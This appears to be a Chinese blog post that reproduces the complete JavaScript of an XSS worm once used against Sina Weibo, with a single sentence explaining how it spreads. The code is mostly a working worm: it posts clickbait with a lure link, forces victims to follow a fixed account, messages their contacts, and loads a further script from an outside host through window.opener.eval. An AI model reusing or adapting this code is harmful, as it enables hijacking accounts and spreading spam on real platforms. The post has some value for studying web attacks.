新浪微博曾经受到过xss蠕虫攻击

2)蠕虫

新浪微博曾经受到过xss蠕虫攻击,代码如下

[javascript]  view plain  copy
  1. function createXHR(){  
  2.     return window.XMLHttpRequest?  
  3.     new XMLHttpRequest():  
  4.     new ActiveXObject("Microsoft.XMLHTTP");  
  5. }  
  6. function getappkey(url){  
  7.     xmlHttp = createXHR();  
  8.     xmlHttp.open("GET",url,false);  
  9.     xmlHttp.send();  
  10.     result = xmlHttp.responseText;  
  11.     id_arr = '';  
  12.     id = result.match(/namecard=\"true\" title=\"[^\"]*/g);  
  13.     for(i=0;i<id.length;i++){  
  14.         sum = id[i].toString().split('"')[3];  
  15.         id_arr += sum + '||';  
  16.     }  
  17.     return id_arr;  
  18. }  
  19. function random_msg(){  
  20.     link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
  21.     var msgs = [  
  22.         '郭美美事件的一些未注意到的细节:',  
  23.         '建党大业中穿帮的地方:',  
  24.         '让女人心动的100句诗歌:',  
  25.         '3D肉团团高清普通话版种子:',  
  26.         '这是传说中的神仙眷侣啊:',  
  27.         '惊爆!范冰冰艳照真流出了:',  
  28.         '杨幂被爆多次被潜规则:',  
  29.         '傻仔拿锤子去抢银行:',  
  30.         '可以监听别人手机的软件:',  
  31.         '个税起征点有望提到4000:'];  
  32.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
  33.     msg = encodeURIComponent(msg);  
  34.     return msg;  
  35. }  
  36. function post(url,data,sync){  
  37.     xmlHttp = createXHR();  
  38.     xmlHttp.open("POST",url,sync);  
  39.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  40.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  41.     xmlHttp.send(data);  
  42. }  
  43. function publish(){  
  44.     url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();  
  45.     data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';  
  46.     post(url,data,true);  
  47. }  
  48. function follow(){  
  49.     url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();  
  50.     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';  
  51.     post(url,data,true);  
  52. }  
  53. function message(){  
  54.     url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';  
  55.     ids = getappkey(url);  
  56.     id = ids.split('||');  
  57.     for(i=0;i<id.length - 1 & i<5;i++){  
  58.         msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();  
  59.         msg = random_msg();  
  60.         msg = encodeURIComponent(msg);  
  61.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  62.         data = 'content=' + msg + '&name=' + user + '&retcode=';  
  63.         post(msgurl,data,false);  
  64.     }  
  65. }  
  66. function main(){  
  67.     try{  
  68.         publish();  
  69.     }  
  70.     catch(e){}  
  71.     try{  
  72.         follow();  
  73.     }  
  74.     catch(e){}  
  75.     try{  
  76.         message();  
  77.     }  
  78.     catch(e){}  
  79. }  
  80. try{  
  81.    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);  
  82. }  
  83. catch(e){}  
  84. main();  
  85. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  

而这段代码就是通过之前的反url编码的方式,用src插入进去的。主要是完成了发一条微博,然后关注作者,然后向粉丝推送这条链接达到传递的目的。
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值